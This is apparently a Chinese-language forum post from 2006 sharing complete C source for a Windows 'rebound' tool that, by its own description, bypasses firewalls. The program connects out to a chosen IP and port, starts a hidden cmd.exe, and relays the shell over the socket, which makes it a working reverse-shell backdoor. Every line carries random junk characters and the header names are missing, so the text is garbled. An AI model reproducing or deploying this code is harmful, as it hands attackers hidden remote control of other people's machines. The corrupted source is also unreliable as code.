这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |u,2A1
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/* ============================== K|
#%u2C
Rebound port in Windows NT CI$pPY<u1
By wind,2006/7 _q`$W9M+k
===============================*/ c!"&E\F
#include Rg~ ~[6G>
#include *l:5FTp
%m r
#pragma comment(lib,"wsock32.lib") \AV6;;}&
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void OutputShell(); }l{r9ti
SOCKET sClient; $FUWB6M
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; AG6tt
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void main(int argc,char **argv) ukBj@.~
{ c`I`@Bed
WSADATA stWsaData; <EKDP>,~
int nRet; >!:uVS
SOCKADDR_IN stSaiClient,stSaiServer; .hW_P62\#
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if(argc != 3) 1L.H"
{ @A6P[r
printf("Useage:\n\rRebound DestIP DestPort\n"); X&EcQ
return; J2VhheL`J
} PK^{WF}L;
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WSAStartup(MAKEWORD(2,2),&stWsaData); $'!r/jV
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bgs3sM9
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stSaiClient.sin_family = AF_INET; sS#Lnj^`%
stSaiClient.sin_port = htons(0); ;\yY*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]0<T,m Z
{ sLh9=Kh`
printf("Bind Socket Failed!\n"); gd3~R+Kd
return; ((L=1]w
} "1P8[
#:"F-3A0
stSaiServer.sin_family = AF_INET; 7+';&2M)n~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c0M=T
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); afY~Y?PJ<
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L ;5uB2
{ R /J@XP
printf("Connect Error!"); F.ml]k&(m
return; tEP~`$9
} ;QbMVY
OutputShell(); h; 105$E1
} bp Q/#\Z
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void OutputShell() |~vo
{ 1?s]nU
char szBuff[1024]; Sgp$B:
SECURITY_ATTRIBUTES stSecurityAttributes; lN"%~n?
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qTFktJZw
STARTUPINFO stStartupInfo; G/ToiUY
char *szShell; ??Zh$^No:
PROCESS_INFORMATION stProcessInformation; Z>1\|j
unsigned long lBytesRead; m~a'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #`R`!4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $OMTk
stSecurityAttributes.lpSecurityDescriptor = 0; k fS44NV
stSecurityAttributes.bInheritHandle = TRUE; 0 =#)-n
h6c0BmS{1
t3%[C;@wB
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FTvFtdY
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j?sq i9#
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (izGF;N+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r(9#kLXg
stStartupInfo.wShowWindow = SW_HIDE; mZLrU<)Y
stStartupInfo.hStdInput = hReadPipe; nRq@hk
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /y/O&`X(
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GetVersionEx(&stOsversionInfo); )i@j``P
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switch(stOsversionInfo.dwPlatformId) fW^\G2Fk
{ NUH;\*]8s
case 1: ,{=pFs2
szShell = "command.com"; c zTr_>
break; zFVNb
default: lt 74`9,f
szShell = "cmd.exe"; ()L[l@m
break; [:Kl0m7
} Q;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RK%N:!fq=
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send(sClient,szMsg,77,0); ~RdJP'YF-
while(1) VNKtJmt
{ @64PdM!L
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 20glz(
if(lBytesRead) t#
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{ .ET@J`"M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $kPC"!X\
send(sClient,szBuff,lBytesRead,0); >|h$d:~n
} 8BP.VxX
else Ak(_![Q:q\
{ .{,PC
lBytesRead=recv(sClient,szBuff,1024,0); yTj!(C
if(lBytesRead<=0) break; .Y!]{c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p'PHBb8I
} aH6{_eY
} aKi&2>c5>
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return; ,S.<qmf
}